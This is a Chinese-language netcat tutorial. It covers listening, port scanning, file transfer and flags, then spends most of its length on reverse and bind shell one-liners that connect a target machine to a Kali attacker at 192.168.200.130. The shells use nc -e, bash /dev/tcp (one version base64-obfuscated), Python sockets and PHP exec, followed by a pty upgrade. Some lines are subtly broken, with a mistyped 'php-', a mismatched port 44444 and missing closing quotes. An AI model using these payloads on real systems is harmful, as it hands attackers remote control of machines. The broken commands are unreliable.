nc的作用

(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

(2)端口的扫描,nc可以作为client发起TCP或UDP连接

(3)机器之间传输文件

(4)机器之间网络测速 

常用参数

1) -l
用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
2) -p <port>
暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
3) -s 
指定发送数据的源IP地址,适用于多网卡机 
4) -u
 指定nc使用UDP协议,默认为TCP
5) -v
输出交互或出错信息,新手调试时尤为有用
6)-w
超时秒数,后面跟数字 
7)-z
表示zero,表示扫描时不发送任何数据

常用命令

连接远程主机

nc -nvv ip port

端口扫描

nc -v ip port //指定端口
nc -v -z ip 1-1555 //指定端口段

文件传输

nc -lvp 8888 < test.txt 服务端
nc -nv 服务端ip 8888 > test.txt 客户端

正向反弹shell

假如ubuntu、CentOS为目标服务器系统

kali为攻击者的系统,ip为:192.168.200.130,开放4444端口且没被占用

最终是将ubuntu、CentOS的shell反弹到kali上

目标服务器输入

nc -l -p 4444 -t -e /bin/bash

kali上输入

nc -vv ip 4444

正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell。

需要目标机安装nc。

反向反弹shell

方法1: nc反弹

首先在kali上输入nc监听:

nc -lvp 4444

目标服务器上使用nc去反向连接,命令如下:

nc -t -e /bin/bash 192.168.200.130 4444

方法2:bash反弹

bash -i >& /dev/tcp/ip/port 0>&1
base64版
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzAvNDQ0NCAwPiYx|{base64,-d}|{bash,-i}'

但首先需要在kali上使用nc监听端口:

nc -lvp 4444

此方法在ubuntu下不会反弹成功,CentOS可以反弹成功。

方法3:python反弹

反弹shell的命令如下:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

首先,使用nc在kali上监听端口:

nc -lvp 4444

在CentOS或者ubuntu下使用python去反向连接,输入:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.200.130',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

此方法ubuntu和Linux均反弹成功。

方法4:php反弹shell

首先在kali上输入:

nc -lvp 4444

然后在目标机上输入:

php- 'exec("/bin/bash -i >& /dev/tcp/192.168.200.130/44444")'
或
php -r '$sock=fsockopen("192.168.200.130",4444);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。

 遇到反弹后不是正常的shell,可用命令:

python -c 'import pty;pty.spawn("/bin/bash")'

转化为常规的shell。